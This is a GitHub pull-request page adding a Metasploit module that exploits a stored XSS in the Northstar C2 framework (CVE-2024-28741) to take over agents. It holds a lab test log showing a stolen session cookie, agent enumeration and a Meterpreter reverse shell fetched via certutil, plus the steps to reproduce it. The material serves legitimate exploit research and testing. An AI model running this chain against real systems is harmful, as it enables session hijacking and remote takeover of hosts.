-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Northstar C2 Stored XSS to Agent RCE (CVE-2024-28741) #19102
Conversation
@chebuya wanted to bring this to your attention since you discovered it |
documentation/modules/exploit/windows/http/northstar_c2_xss_to_agent_rce.md
Outdated
Show resolved
Hide resolved
Accidental approval, meant to be a 'comment'
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Cool module! Thanks for this one @h00die. A couple cosmetic comments but other than that the module worked quite nicely.
Testing NorthstarStager.exe compiled on Windows 10 (19045) connected to Northstar C2 installed on Ubuntu 22.04. Both on the vulnerable commit e7fdce148b6a81516e8aa5e5e037acd082611f73
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > options
Module options (exploit/windows/http/northstar_c2_xss_to_agent_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
KILL false no Kill the NorthStar C2 agent
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.199.131 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVHOST 172.16.199.1 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the NorthStar C2 Application
URIPATH / no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME KNBXoiAeeq no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST 172.16.199.1 no Local IP to use for serving payload
FETCH_SRVPORT 9090 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. NorthStar Login page detected
[*] Using URL: http://172.16.199.1:8080/
[*] Server started.
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > [*] Waiting on XSS execution
[+] 172.16.199.131 northstar_c2_xss_to_agent_rce - Received cookie: d89vrb0v20fpr9mr9v63t6ag4j
[+] 172.16.199.131 northstar_c2_xss_to_agent_rce - Live Agents
===========
ID IP OS Username Hostname Status
-- -- -- -------- -------- ------
NcXSkaPsdYYqgc3m1Wq 172.16.199.137 Windows 10 Enterprise DESKTOP-N3ORU31\msfuser DESKTOP-N3ORU31 Online
[*] 172.16.199.131 northstar_c2_xss_to_agent_rce - (NcXSkaPsdYYqgc3m1Wq) Stealing DESKTOP-N3ORU31
[*] Sending stage (201798 bytes) to 172.16.199.137
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.137:50597) at 2024-05-13 14:25:50 -0700
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-N3ORU31\msfuser
meterpreter > sysinfo
Computer : DESKTOP-N3ORU31
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
documentation/modules/exploit/windows/http/northstar_c2_xss_to_agent_rce.md
Outdated
Show resolved
Hide resolved
|
||
NorthStar C2, prior to commit `7674a44` on March 11 2024, contains a vulnerability where the logs page is | ||
vulnerable to a stored xss. | ||
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session. | |
An unauthenticated user can simulate an agent registration to cause the XSS and take over a user's session. |
6e9e4a5
This PR adds a new exploit against Northstar C2, exploiting CVE-2024-28741. We're able to pretend to be an infected computer (agent) and send an XSS payload. When a logged in user views the logs, we take their cookie, then exploit all the agents to deploy our own shellcode.
Verification
use exploit/windows/http/northstar_c2_xss_to_agent_rce
set rhosts [ip]
set srvhost [srvhost]
set fetch_srvport [fetch_srvport]
set fetch_srvhost [fetch_srvhost]
run